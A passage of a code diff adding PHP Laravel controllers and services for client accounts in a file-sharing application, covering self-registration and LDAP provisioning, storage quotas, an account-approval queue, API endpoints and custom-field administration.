private function isLocked(ClientCustomField $field, BaseCollection $values): bool
|
||||
{
|
||||
return $field->client_editability === ClientFieldEditability::EditableOnce
|
||||
&& filled($values->get($field->id));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\Notifications\AdminClientRegisteredNotification;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Identity\AuthSource;
|
||||
use App\Modules\Identity\Models\Role;
|
||||
use App\Modules\Identity\Permissions\SystemRole;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
/**
|
||||
* A client account coming into existence without a staff member creating
|
||||
* it by hand.
|
||||
*
|
||||
* Two entry points now reach this — the public registration form and a
|
||||
* first successful LDAP sign-in — and they must agree on the parts that
|
||||
* are policy rather than presentation: whether the account is active or
|
||||
* waits for approval, which group it joins, and who gets told. Keeping one
|
||||
* definition is the same reasoning FileSharing and StoreUploadedFile
|
||||
* already follow.
|
||||
*
|
||||
* What stays with each caller is what genuinely differs: the registration
|
||||
* form's custom fields and group requests, and LDAP's directory stamp.
|
||||
*/
|
||||
class ClientProvisioning
|
||||
{
|
||||
public function __construct(
|
||||
private readonly Settings $settings,
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Whether a newly provisioned client can sign in straight away.
|
||||
*/
|
||||
public function autoApproves(): bool
|
||||
{
|
||||
return $this->settings->get(Setting::ClientsAutoApprove) === true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param bool|null $autoApprove Null asks Setting::ClientsAutoApprove,
|
||||
* which is the right question for the
|
||||
* public registration form. A caller
|
||||
* that has already established who
|
||||
* somebody is — LDAP, an identity
|
||||
* provider — passes its own answer
|
||||
* instead.
|
||||
* @param array<string, mixed> $context Placeholders for the action's
|
||||
* log template, e.g. which
|
||||
* provider an account came from.
|
||||
*/
|
||||
public function provision(
|
||||
string $name,
|
||||
string $email,
|
||||
string $password,
|
||||
Action $action,
|
||||
AuthSource $source = AuthSource::Local,
|
||||
?string $ldapDn = null,
|
||||
?bool $autoApprove = null,
|
||||
array $context = [],
|
||||
): User {
|
||||
$autoApprove ??= $this->autoApproves();
|
||||
|
||||
$client = User::create([
|
||||
'type' => UserType::Client,
|
||||
'active' => $autoApprove,
|
||||
'account_requested' => ! $autoApprove,
|
||||
'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'),
|
||||
'name' => $name,
|
||||
'email' => $email,
|
||||
'password' => $password,
|
||||
]);
|
||||
|
||||
// Not mass-assignable: where an account's credentials live is a
|
||||
// security decision, not an attribute a form may set.
|
||||
if ($source !== AuthSource::Local || $ldapDn !== null) {
|
||||
$client->forceFill([
|
||||
'auth_source' => $source,
|
||||
'ldap_dn' => $ldapDn,
|
||||
'ldap_synced_at' => $ldapDn === null ? null : now(),
|
||||
])->save();
|
||||
}
|
||||
|
||||
$this->activity->log($action, $client, $client, $context);
|
||||
|
||||
$this->joinAutoGroup($client);
|
||||
$this->notifyAdministrators($client, pending: ! $autoApprove);
|
||||
|
||||
return $client;
|
||||
}
|
||||
|
||||
/**
|
||||
* The group every self-provisioned client joins, if one is configured.
|
||||
* Direct membership, no approval — an administrator chose this in
|
||||
* settings.
|
||||
*/
|
||||
private function joinAutoGroup(User $client): void
|
||||
{
|
||||
$autoGroupId = (int) $this->settings->get(Setting::ClientsAutoGroup);
|
||||
|
||||
if ($autoGroupId <= 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
$group = Group::query()->find($autoGroupId);
|
||||
|
||||
$group?->members()->syncWithoutDetaching([$client->id]);
|
||||
}
|
||||
|
||||
private function notifyAdministrators(User $client, bool $pending): void
|
||||
{
|
||||
if ($this->settings->get(Setting::EmailNotificationsEnabled) !== true) {
|
||||
return;
|
||||
}
|
||||
|
||||
$addresses = $this->settings->get(Setting::AdminNotificationEmails);
|
||||
|
||||
foreach (is_array($addresses) ? $addresses : [] as $address) {
|
||||
Notification::route('mail', $address)->notify(
|
||||
new AdminClientRegisteredNotification($client->name, $client->email, $pending)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
|
||||
/**
|
||||
* A client's cumulative storage usage against their quota. Usage is a
|
||||
* live sum (not a maintained counter) over files the client uploaded
|
||||
* themselves — matches how the quota is enforced (portal self-uploads
|
||||
* only, see ChunkedUploadsController::store()/complete()).
|
||||
*/
|
||||
class ClientStorageUsage
|
||||
{
|
||||
public function __construct(
|
||||
private readonly Settings $settings,
|
||||
) {}
|
||||
|
||||
public function usedBytes(User $client): int
|
||||
{
|
||||
return (int) File::query()->where('uploaded_by', $client->id)->sum('size');
|
||||
}
|
||||
|
||||
/**
|
||||
* A client's own storage_quota_mb of 0 means "no custom quota set" —
|
||||
* it inherits Setting::DefaultClientStorageQuotaMb instead of being
|
||||
* unlimited, so a site-wide default (once set) also protects clients
|
||||
* who never got an explicit quota, including self-registered ones.
|
||||
* The site default itself being 0 is what actually means unlimited.
|
||||
*
|
||||
* @return int 0 means unlimited.
|
||||
*/
|
||||
public function quotaMb(User $client): int
|
||||
{
|
||||
return $client->storage_quota_mb > 0
|
||||
? $client->storage_quota_mb
|
||||
: (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int 0 means unlimited.
|
||||
*/
|
||||
public function quotaBytes(User $client): int
|
||||
{
|
||||
return $this->quotaMb($client) * 1024 * 1024;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return int|null Null means unlimited.
|
||||
*/
|
||||
public function remainingBytes(User $client): ?int
|
||||
{
|
||||
$quota = $this->quotaBytes($client);
|
||||
|
||||
return $quota === 0 ? null : max(0, $quota - $this->usedBytes($client));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,105 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\Notifications\ClientAccountApprovedNotification;
|
||||
use App\Modules\Clients\Notifications\ClientAccountDeniedNotification;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use App\Support\Pagination;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* The approval queue for self-registered clients (v1's
|
||||
* clients-requests.php): approve activates the account, deny deletes it.
|
||||
*/
|
||||
class AccountRequestsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
private readonly Settings $settings,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): Response
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'search' => ['nullable', 'string', 'max:255'],
|
||||
]);
|
||||
|
||||
$filters = ['search' => $validated['search'] ?? null];
|
||||
|
||||
$requests = User::query()
|
||||
->where('type', UserType::Client)
|
||||
->where('account_requested', true)
|
||||
->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q
|
||||
->where('name', 'like', "%{$search}%")
|
||||
->orWhere('email', 'like', "%{$search}%")))
|
||||
->orderBy('created_at')
|
||||
->paginate(25)
|
||||
->withQueryString()
|
||||
->through(fn (User $client): array => [
|
||||
'id' => $client->id,
|
||||
'name' => $client->name,
|
||||
'email' => $client->email,
|
||||
'created_at' => $client->created_at?->toIso8601String(),
|
||||
]);
|
||||
|
||||
return Inertia::render('clients/requests', [
|
||||
'requests' => $requests->items(),
|
||||
'pagination' => Pagination::meta($requests),
|
||||
'filters' => $filters,
|
||||
]);
|
||||
}
|
||||
|
||||
public function approve(User $client): RedirectResponse
|
||||
{
|
||||
abort_unless($client->isClient() && $client->account_requested, 404);
|
||||
|
||||
$client->forceFill([
|
||||
'active' => true,
|
||||
'account_requested' => false,
|
||||
])->save();
|
||||
|
||||
$this->activity->log(Action::ClientApproved, subject: $client);
|
||||
|
||||
if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
$client->notify(new ClientAccountApprovedNotification);
|
||||
}
|
||||
|
||||
return back()->with('success', __('Account request approved.'));
|
||||
}
|
||||
|
||||
public function deny(User $client): RedirectResponse
|
||||
{
|
||||
abort_unless($client->isClient() && $client->account_requested, 404);
|
||||
|
||||
$name = $client->name;
|
||||
$email = $client->email;
|
||||
$locale = $client->locale;
|
||||
// A denied request is removed outright (not soft-deleted) so the
|
||||
// person can register again with the same email address.
|
||||
$client->forceDelete();
|
||||
|
||||
$this->activity->log(Action::ClientDenied, context: ['name' => $name]);
|
||||
|
||||
if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
Notification::route('mail', $email)->notify(
|
||||
(new ClientAccountDeniedNotification($name))->locale($locale ?? app()->getLocale())
|
||||
);
|
||||
}
|
||||
|
||||
return back()->with('success', __('Account request denied.'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,333 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers\Api;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\User;
|
||||
use App\Modules\Api\Support\PollingQuery;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\ClientCustomFieldType;
|
||||
use App\Modules\Clients\ClientStorageUsage;
|
||||
use App\Modules\Clients\Http\Resources\Api\ClientResource;
|
||||
use App\Modules\Clients\Models\ClientCustomField;
|
||||
use App\Modules\Clients\Models\ClientCustomFieldValue;
|
||||
use App\Modules\Clients\Notifications\ClientAccountEditedNotification;
|
||||
use App\Modules\Clients\Notifications\ClientWelcomeNotification;
|
||||
use App\Modules\Files\DeletedAccountContent;
|
||||
use App\Modules\Identity\AccountContentDeletion;
|
||||
use App\Modules\Identity\Models\Role;
|
||||
use App\Modules\Identity\Permissions\SystemRole;
|
||||
use App\Modules\Identity\TwoFactor\TwoFactorAdministration;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Resources\Json\AnonymousResourceCollection;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\Rules\Password;
|
||||
|
||||
/**
|
||||
* Client accounts over the API.
|
||||
*
|
||||
* Clients are `users` rows with type = client, so every response here goes
|
||||
* through ClientResource's allowlist rather than the model. `abort_unless
|
||||
* ($client->isClient(), 404)` on each single-client route mirrors the web
|
||||
* controller: a staff account is not addressable through this surface even
|
||||
* by id.
|
||||
*
|
||||
* Validation rules, custom-field handling and the deletion flow are the
|
||||
* web controller's, reused or mirrored field for field — a client created
|
||||
* through the API must be indistinguishable from one created in the UI.
|
||||
*/
|
||||
class ClientsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly PollingQuery $polling,
|
||||
private readonly ActivityLogger $activity,
|
||||
private readonly Settings $settings,
|
||||
private readonly ClientStorageUsage $storageUsage,
|
||||
private readonly DeletedAccountContent $accountContent,
|
||||
private readonly AccountContentDeletion $accountDeletion,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): AnonymousResourceCollection
|
||||
{
|
||||
$filters = $request->validate($this->polling->rules() + [
|
||||
'search' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', Rule::in(['active', 'inactive'])],
|
||||
]);
|
||||
|
||||
$query = User::query()->where('type', UserType::Client);
|
||||
|
||||
if (($filters['search'] ?? null) !== null) {
|
||||
$search = $filters['search'];
|
||||
$query->where(fn (Builder $inner) => $inner
|
||||
->where('name', 'like', "%{$search}%")
|
||||
->orWhere('email', 'like', "%{$search}%"));
|
||||
}
|
||||
|
||||
if (($filters['status'] ?? null) !== null) {
|
||||
$query->where('active', $filters['status'] === 'active');
|
||||
}
|
||||
|
||||
return ClientResource::collection($this->polling->paginate($request, $query, 'users'));
|
||||
}
|
||||
|
||||
public function show(User $client): ClientResource
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
return $this->resourceFor($client);
|
||||
}
|
||||
|
||||
public function store(Request $request): JsonResponse
|
||||
{
|
||||
$validated = $request->validate([
|
||||
'name' => ['required', 'string', 'max:255'],
|
||||
'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'],
|
||||
// No `confirmed`: repeating a password is a defence against a
|
||||
// human mistyping into a form, and an API caller has no second
|
||||
// field to mistype. This installation's password policy still
|
||||
// applies — a minimum length, and optionally a check against
|
||||
// known breaches. Both are configured under Settings →
|
||||
// Security, so read them from there rather than assuming the
|
||||
// defaults; a password this endpoint accepts on one
|
||||
// installation may be refused on another.
|
||||
'password' => ['required', Password::defaults()],
|
||||
'storage_quota_mb' => ['nullable', 'integer', 'min:0'],
|
||||
'custom_field_values' => ['array'],
|
||||
]);
|
||||
|
||||
$validated['custom_field_values'] = $this->validateCustomFieldValues($request);
|
||||
|
||||
$client = User::create([
|
||||
'type' => UserType::Client,
|
||||
'active' => true,
|
||||
'account_requested' => false,
|
||||
'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'),
|
||||
'name' => $validated['name'],
|
||||
'email' => $validated['email'],
|
||||
'password' => $validated['password'],
|
||||
// 0 means "no custom quota" and inherits the site default at
|
||||
// enforcement time — see ClientStorageUsage::quotaMb().
|
||||
'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0,
|
||||
'email_verified_at' => now(),
|
||||
]);
|
||||
|
||||
$this->activity->log(Action::UserCreated, subject: $client);
|
||||
|
||||
$this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []);
|
||||
|
||||
if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
$client->notify(new ClientWelcomeNotification);
|
||||
}
|
||||
|
||||
return $this->resourceFor($client->refresh())->response()->setStatusCode(201);
|
||||
}
|
||||
|
||||
public function update(Request $request, User $client): ClientResource
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$validated = $request->validate([
|
||||
'name' => ['sometimes', 'string', 'max:255'],
|
||||
'email' => ['sometimes', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($client->id)],
|
||||
'active' => ['sometimes', 'boolean'],
|
||||
'password' => ['sometimes', 'nullable', Password::defaults()],
|
||||
'storage_quota_mb' => ['sometimes', 'nullable', 'integer', 'min:0'],
|
||||
'custom_field_values' => ['sometimes', 'array'],
|
||||
]);
|
||||
|
||||
if ($request->has('custom_field_values')) {
|
||||
$validated['custom_field_values'] = $this->validateCustomFieldValues($request, required: false);
|
||||
}
|
||||
|
||||
$wasActive = $client->active;
|
||||
$passwordChanged = is_string($validated['password'] ?? null) && $validated['password'] !== '';
|
||||
|
||||
// PATCH semantics, unlike the web form which always submits every
|
||||
// field: an absent key means "leave alone", not "clear".
|
||||
$client->fill(array_intersect_key($validated, array_flip(['name', 'email', 'active'])));
|
||||
|
||||
if (array_key_exists('storage_quota_mb', $validated)) {
|
||||
$client->storage_quota_mb = $validated['storage_quota_mb'] ?? 0;
|
||||
}
|
||||
|
||||
if (($validated['active'] ?? false) && $client->account_requested) {
|
||||
$client->account_requested = false;
|
||||
}
|
||||
|
||||
if ($passwordChanged) {
|
||||
$client->password = $validated['password'];
|
||||
}
|
||||
|
||||
$client->save();
|
||||
|
||||
if (array_key_exists('custom_field_values', $validated)) {
|
||||
$this->saveCustomFieldValues($client, $validated['custom_field_values']);
|
||||
}
|
||||
|
||||
$this->activity->log(Action::UserUpdated, subject: $client);
|
||||
|
||||
if ($wasActive && ! $client->active) {
|
||||
$this->activity->log(Action::UserDeactivated, subject: $client);
|
||||
} elseif (! $wasActive && $client->active) {
|
||||
$this->activity->log(Action::UserActivated, subject: $client);
|
||||
}
|
||||
|
||||
if (($client->wasChanged(['name', 'email', 'active']) || $passwordChanged)
|
||||
&& $this->settings->get(Setting::EmailNotificationsEnabled) === true) {
|
||||
$client->notify(new ClientAccountEditedNotification);
|
||||
}
|
||||
|
||||
return $this->resourceFor($client->refresh());
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove a client's two-factor authentication.
|
||||
*
|
||||
* The remedy for a locked-out account: a client whose authenticator
|
||||
* app and recovery codes are both gone cannot sign in, and nobody else
|
||||
* can open the account for them either. Afterwards they sign in with
|
||||
* their password alone, and — if this installation enforces two-factor
|
||||
* authentication for clients — are asked to enrol again on their next
|
||||
* request.
|
||||
*
|
||||
* The client is emailed that this happened, and the action is recorded
|
||||
* in the activity log against the caller. Answers 204 whether or not a
|
||||
* second factor was actually in force.
|
||||
*/
|
||||
public function destroyTwoFactor(User $client, TwoFactorAdministration $twoFactor): JsonResponse
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$twoFactor->reset($client);
|
||||
|
||||
return response()->json(status: 204);
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete a client.
|
||||
*
|
||||
* If the client owns no files or folders, no body is needed.
|
||||
*
|
||||
* If they do, you must say what happens to that content: send
|
||||
* `content_action` as either `cascade_delete` (delete it along with the
|
||||
* account) or `reassign`, and in the latter case a `reassign_to_id`
|
||||
* naming the active account that inherits it. Omitting the choice is a
|
||||
* 422 — there is no default, because one would silently destroy a
|
||||
* client's files and the other would silently hand them to somebody
|
||||
* else.
|
||||
*
|
||||
* `GET /clients/{client}` reports the counts so you can decide before
|
||||
* calling this.
|
||||
*/
|
||||
public function destroy(Request $request, User $client): JsonResponse
|
||||
{
|
||||
abort_unless($client->isClient(), 404);
|
||||
|
||||
$validated = $this->accountDeletion->validate($request, $client);
|
||||
|
||||
$name = $client->name;
|
||||
$client->delete();
|
||||
|
||||
$this->activity->log(Action::UserDeleted, context: ['name' => $name]);
|
||||
|
||||
$this->accountDeletion->apply($validated, $client, $name);
|
||||
|
||||
return response()->json(status: 204);
|
||||
}
|
||||
|
||||
private function resourceFor(User $client): ClientResource
|
||||
{
|
||||
return ClientResource::detailed(
|
||||
$client,
|
||||
customFieldValues: ClientCustomFieldValue::query()
|
||||
->where('user_id', $client->id)
|
||||
->pluck('value', 'client_custom_field_id')
|
||||
->all(),
|
||||
storage: $this->storageUsage,
|
||||
content: $this->accountContent->summarize($client),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validated separately from the main rule set, and deliberately so.
|
||||
*
|
||||
* The per-field rules are built by querying `client_custom_fields`, so
|
||||
* they name this installation's actual field ids. Passing them to
|
||||
* `$request->validate()` put those ids into the generated OpenAPI
|
||||
* document — a document that is committed, served unauthenticated, and
|
||||
* supposed to be identical on every install. It described one
|
||||
* database's configuration and leaked which custom fields exist.
|
||||
*
|
||||
* The endpoint still validates exactly as before; only the shape the
|
||||
* documentation generator can see has changed, to a plain object.
|
||||
*
|
||||
* @return array<int, mixed>
|
||||
*/
|
||||
private function validateCustomFieldValues(Request $request, bool $required = true): array
|
||||
{
|
||||
$rules = $this->customFieldRules($required);
|
||||
|
||||
if ($rules === []) {
|
||||
return $request->input('custom_field_values', []);
|
||||
}
|
||||
|
||||
return Validator::make($request->all(), $rules)->validate()['custom_field_values'] ?? [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirrors ClientsController::customFieldRules(). On update the required
|
||||
* flag is dropped, since PATCH may legitimately omit a field it is not
|
||||
* changing — the value already stored satisfies the requirement.
|
||||
*
|
||||
* @return array<string, array<int, mixed>>
|
||||
*/
|
||||
private function customFieldRules(bool $required = true): array
|
||||
{
|
||||
$rules = [];
|
||||
|
||||
foreach (ClientCustomField::query()->get() as $field) {
|
||||
$key = "custom_field_values.{$field->id}";
|
||||
|
||||
if ($field->type === ClientCustomFieldType::Checkbox) {
|
||||
$rules[$key] = ['nullable', 'boolean'];
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
$rules[$key] = [$required && $field->required ? 'required' : 'nullable', 'string', 'max:2000'];
|
||||
|
||||
if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) {
|
||||
$rules[$key][] = Rule::in($field->options);
|
||||
}
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<int, mixed> $values field id => submitted value
|
||||
*/
|
||||
private function saveCustomFieldValues(User $client, array $values): void
|
||||
{
|
||||
foreach (ClientCustomField::query()->get() as $field) {
|
||||
$submitted = $values[$field->id] ?? null;
|
||||
$value = $field->type === ClientCustomFieldType::Checkbox
|
||||
? ($submitted ? '1' : '0')
|
||||
: (is_string($submitted) ? $submitted : null);
|
||||
|
||||
ClientCustomFieldValue::query()->updateOrCreate(
|
||||
['client_custom_field_id' => $field->id, 'user_id' => $client->id],
|
||||
['value' => $value === '' ? null : $value],
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Clients\ClientCustomFieldType;
|
||||
use App\Modules\Clients\ClientFieldContext;
|
||||
use App\Modules\Clients\ClientFieldEditability;
|
||||
use App\Modules\Clients\Models\ClientCustomField;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Str;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
/**
|
||||
* Admin-only definitions for custom fields shown on the staff-facing
|
||||
* client create/edit screens (not exposed in the client portal).
|
||||
* Configuration data: hard-deleted, cascading away each field's stored
|
||||
* per-client values.
|
||||
*/
|
||||
class ClientCustomFieldsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
public function index(Request $request): Response
|
||||
{
|
||||
$validated = $request->validate(['search' => ['nullable', 'string', 'max:255']]);
|
||||
$search = $validated['search'] ?? null;
|
||||
|
||||
$fields = ClientCustomField::query()
|
||||
->when($search, fn (Builder $query, string $term) => $query->where('label', 'like', "%{$term}%"))
|
||||
->orderBy('sort_order')
|
||||
->orderBy('id')
|
||||
->get()
|
||||
->map(fn (ClientCustomField $field): array => $this->fieldRow($field));
|
||||
|
||||
return Inertia::render('clients/custom-fields/index', [
|
||||
'fields' => $fields->all(),
|
||||
'filters' => ['search' => $search],
|
||||
]);
|
||||
}
|
||||
|
||||
public function create(): Response
|
||||
{
|
||||
return Inertia::render('clients/custom-fields/create', [
|
||||
'types' => array_map(fn (ClientCustomFieldType $type): string => $type->value, ClientCustomFieldType::cases()),
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request): RedirectResponse
|
||||
{
|
||||
$validated = $this->validated($request);
|
||||
|
||||
$field = ClientCustomField::query()->create([
|
||||
'name' => $this->uniqueName($validated['label']),
|
||||
'label' => $validated['label'],
|
||||
'type' => $validated['type'],
|
||||
'options' => $validated['options'] ?? null,
|
||||
'required' => $validated['required'],
|
||||
'sort_order' => (int) ClientCustomField::query()->max('sort_order') + 1,
|
||||
'client_editability' => $validated['client_editability'],
|
||||
'client_contexts' => $validated['client_editability'] === ClientFieldEditability::Hidden->value
|
||||
? null
|
||||
: ($validated['client_contexts'] ?? []),
|
||||
]);
|
||||
|
||||
$this->activity->log(Action::ClientCustomFieldCreated, subject: $field, context: ['name' => $field->label]);
|
||||
|
||||
return redirect()->route('client-custom-fields.edit', $field)->with('success', __('Custom field created.'));
|
||||
}
|
||||
|
||||
public function edit(ClientCustomField $customField): Response
|
||||
{
|
||||
return Inertia::render('clients/custom-fields/edit', [
|
||||
'field' => $this->fieldRow($customField),
|
||||
'types' => array_map(fn (ClientCustomFieldType $type): string => $type->value, ClientCustomFieldType::cases()),
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, ClientCustomField $customField): RedirectResponse
|
||||
{
|
||||
$validated = $this->validated($request);
|
||||
|
||||
$customField->update([
|
||||
'label' => $validated['label'],
|
||||
'type' => $validated['type'],
|
||||
'options' => $validated['options'] ?? null,
|
||||
'required' => $validated['required'],
|
||||
'client_editability' => $validated['client_editability'],
|
||||
'client_contexts' => $validated['client_editability'] === ClientFieldEditability::Hidden->value
|
||||
? null
|
||||
: ($validated['client_contexts'] ?? []),
|
||||
]);
|
||||
|
||||
$this->activity->log(Action::ClientCustomFieldUpdated, subject: $customField, context: ['name' => $customField->label]);
|
||||
|
||||
return back()->with('success', __('Custom field updated.'));
|
||||
}
|
||||
|
||||
public function destroy(ClientCustomField $customField): RedirectResponse
|
||||
{
|
||||
$label = $customField->label;
|
||||
$customField->delete();
|
||||
|
||||
$this->activity->log(Action::ClientCustomFieldDeleted, context: ['name' => $label]);
|
||||
|
||||
return redirect()->route('client-custom-fields.index')->with('success', __('Custom field deleted.'));
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{label: string, type: string, options: list<string>|null, required: bool, client_editability: string, client_contexts: list<string>|null}
|
||||
*/
|
||||
private function validated(Request $request): array
|
||||
{
|
||||
// Normalized up front so "required_unless" below has a real value
|
||||
// to compare against even when the field is omitted entirely
|
||||
// (omitting it means "hidden", same as explicitly selecting it).
|
||||
$request->merge(['client_editability' => $request->input('client_editability') ?? ClientFieldEditability::Hidden->value]);
|
||||
|
||||
return $request->validate([
|
||||
'label' => ['required', 'string', 'max:255'],
|
||||
'type' => ['required', Rule::enum(ClientCustomFieldType::class)],
|
||||
'options' => ['nullable', 'array'],
|
||||
'options.*' => ['string', 'max:255'],
|
||||
'required' => ['required', 'boolean'],
|
||||
'client_editability' => ['required', Rule::enum(ClientFieldEditability::class)],
|
||||
'client_contexts' => ['array', 'required_unless:client_editability,'.ClientFieldEditability::Hidden->value],
|
||||
'client_contexts.*' => [Rule::enum(ClientFieldContext::class)],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function fieldRow(ClientCustomField $field): array
|
||||
{
|
||||
return [
|
||||
'id' => $field->id,
|
||||
'label' => $field->label,
|
||||
'type' => $field->type->value,
|
||||
'options' => $field->options,
|
||||
'required' => $field->required,
|
||||
'client_editability' => $field->client_editability->value,
|
||||
'client_contexts' => $field->client_contexts ?? [],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Auto-derives a machine key from the label — the admin never types
|
||||
* one directly, and it's never shown again after creation.
|
||||
*/
|
||||
private function uniqueName(string $label): string
|
||||
{
|
||||
$base = Str::slug($label, '_') ?: 'field';
|
||||
$name = $base;
|
||||
$suffix = 2;
|
||||
|
||||
while (ClientCustomField::query()->where('name', $name)->exists()) {
|
||||
$name = "{$base}_{$suffix}";
|
||||
$suffix++;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Clients\Http\Controllers;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Modules\Audit\Action;
|
||||
use App\Modules\Audit\ActivityLogger;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Http\RedirectResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Inertia\Inertia;
|
||||
use Inertia\Response;
|
||||
|
||||
class ClientSettingsController extends Controller
|
||||
{
|
||||
public function __construct(
|
||||
private readonly Settings $settings,
|
||||
private readonly ActivityLogger $activity,
|
||||
) {}
|
||||
|
||||
public function edit(): Response
|
||||
{
|
||||
return Inertia::render('system/settings/clients', [
|
||||
'clients_can_register' => $this->settings->get(Setting::ClientsCanRegister),
|
||||
'clients_auto_approve' => $this->settings->get(Setting::ClientsAutoApprove),
|
||||
'clients_auto_group' => $this->settings->get(Setting::ClientsAutoGroup),
|
||||
'clients_can_select_group' => $this->settings->get(Setting::ClientsCanSelectGroup),
|
||||
'clients_membership_deny_cooldown_days' => $this->settings->get(Setting::ClientsMembershipDenyCooldownDays),
|
||||
'default_client_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb),
|
||||
'groups' => Group::query()->orderBy('name')->get()
|
||||
->map(fn (Group $group): array => ['id' => $group->id, 'name' => $group->name])
|
||||
->all(),
|
||||
]);
|
||||
}
|
||||
|
||||
